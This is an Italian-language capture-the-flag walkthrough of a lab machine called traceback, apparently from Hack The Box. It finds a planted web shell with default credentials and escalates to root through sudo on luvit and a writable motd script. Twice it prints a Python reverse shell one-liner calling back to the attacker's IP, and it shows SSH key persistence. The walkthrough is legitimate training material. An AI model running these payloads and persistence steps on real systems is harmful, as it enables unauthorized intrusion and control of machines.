NMAP

Eseguo una scansione nmap di tutte le porte con il seguente comando:

nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.181

Successivamente lancio una scansione mirata sulle porte aperte come segue:

nmap -sV -sC p80,22 10.10.10.181

Dalla scansione risulta essere aperta la porta 80, do un’occhiata al sito web. 

scansione Nmap

OSINT

Guardando il sito sembra che abbia subito un deface, l’hacker lascia un messaggio dicendo che ha lasciato una backdoor da qualche parte, do un’occhiata al sorgente della pagina. 

deface

L’hacker lascia un commento html <!–Some of the best web shells that you might need 😉 –>, è chiaro che ha piazzato una web shell da qualche parte, si tratta di scoprire quale ha utilizzato per potera visualizzare nel browser. Provo a googlare il commento:

sorgente del sito

Tra i risultati c’è un repository che riporta esattamente la frase che l’hacker ha lasciato tra i tag html, decido di clonare il repo e creare una lista dei file che ci sono al suo interno.

Di seguito il link al repository:

https://github.com/TheBinitGhimire/Web-Shells

Github repository con lista webshells

Clone del repository:

git clone

Creo la lista dei file:

creazione lista da directory listing
estrazione nomi file

Infine lancio dirb con la lista creata per capire qual è la webshell giusta che l’hacker ha lasciato come backdoor.

dire

Ottimo! Si tratta di smevk.php, do un’occhiata:

E’ necessario loggarsi per poter utilizzare la shell, solitamente le password sono proprio scritte nel codice sorgente, sperando che l’hacker non le abbia cambiate.

credenziali della shell

Provo ad utilizzare admin:admin e riesco ad entrare all’interno della backdoor.

smevk.php webshell

A questo punto, dal momento che mi risulta un po’ scomodo utilizzare questa interfaccia web per enumerare la macchina, decido di provare a prendere una reverse shell. Utilizzo la porta 80 perché solitamente non è bloccata dai firewall.

Nel form execute della webshell è possible eseguire comandi. Dopo essermi accertato della presenza di python (which python) eseguo il seguente comando: 

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MIOIP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Ottengo la reverse con successo:

USER FLAG

A questo punto inizio ad enumerare la macchina, in particolare la cartella dell’utente corrente webadmin.

cartella webadmin

Nel file note.txt c’è un messaggio di sysadmin dove che riporta:

I have left this tool to practice Lua. Contact me if you have any question.

Di quale tool sta parlando? All’interno della directory vedo che c’è un file chiamato luvit, dopo essermi accertato che si tratta di un eseguibile linux con il comando file luvit provo ad eseguirlo:

luvit help

Si tratta di un software in grado di eseguire script lua. Guardo meglio e noto che il software in questione appartiene a sysadmin, interessante:

cartella webadmin

E’ un indizio importante perché probabilmente, dal momento che tutti gli altri file appartengono a webadmin, probabilente è la strada da seguire. Decido di controllare i privilegi di webadmin, l’utente corrente:

sudo -l

webadmin può lanciare luvit nel contesto di sysadmin!

A questo punto faccio una ricerca su lua, dal momento che luvit può essere eseguito come sysadmin, probabilmente posso aggiungere una chiave alle authorized_keys di ssh di sysadmin in maniera da potermi autenticare con una chiave privata, provo. Genero la coppia di chiavi impostando password come password:

creazione chiavi ssh

Dopo aver visto come leggere/scrivere file con lua preparo uno script come segue:

script lua per privilege escalation

lo script apre il file authorized_keys di sysadmin in append mode (a – aggiunge al file senza sovrascrivere), ci scrive dentro la mia chiave publica id_rsa.pub appena generata con ssh-keygen e chiude il file. 

Scarico lo script all’interno della macchina dopo aver lanciato un webserver nella cartella dov’è situato il mio script sulla macchina kali: 

python web server
download del file Lua

Aggiungo la mia chiave id_rsa.pub anche ad authorized_keys di webadmin in maniera da potermi riconnetere facilmene con ssh se perdo la shell.

Lancio lo script su traceback:

Lo script sembra essere stato eseguito senza errori, provo a connettermi come sysadmin attraverso ssh. 

Notare il messaggio “Welcome to Xh4H land”

sysadmin ssh access

Nella cartella dell’utente prendo la user flag:

user flag

PRIVILEGE ESCALATION

Dopo varie ricerche all’interno di file e cartelle ed enumeration vari, scarico all’interno della macchina pspy un tool che permette di monitorare i processi in esecuzione in realtime.

Noto che c’è un comando cp che viene eseguito ad intervalli regolari e copia tutto il contenuto della cartella .update-motd.d situata in /var/backups nella sua destinazione originale, all’interno di /etc.

pspy64

Motd si occupa di mostrare un messaggio di benvenuto all’utente che si connette alla macchina attraverso ssh.

Di seguito il contenuto della cartella che viene copiata copiata:

directory moto

Ispezionando il contenuto dei file noto che il file 00-header contiene il messaggio che ho visualizzato quando mi sono connesso con ssh:

contenuto file 00-header

Vedendo i permessi dei file all’interno della cartella /etc/update-motd.d mi rendo conto che sysadmin può modificare i file.

Dal momento che 00-header viene eseguito con /bin/sh e il messaggio viene mostrato quando ci si connette con ssh, l’idea è quella di inserire nel file il solito comando python per la reverse shell e triggerarne l’esecuzione connettendomi all’ssh come webadmin (con l’ausilio della chiave che avevo inserito in precedenza dentro authorized_keys).

Metto netcat in ascolto sulla porta 80 (nc -lnvp 80) e scrivo il comando all’interno del file 00-header, lo metto sotto echo. Devo fare veloce perché il file viene ripristinato ad intervalli regolari.

Apro il file:

nano 00-header

E incollo quanto segue: 

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MIOIP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Mi connetto come webadmin attraverso ssh:

ssh webadmin

E ottengo la reverse:

root reverse shell

Dal momento che la shell mi da problemi durante la digitazione, inserisco anche qui la chiave id_rsa.pub in authorized_keys e mi riconnetto con ssh.

root flag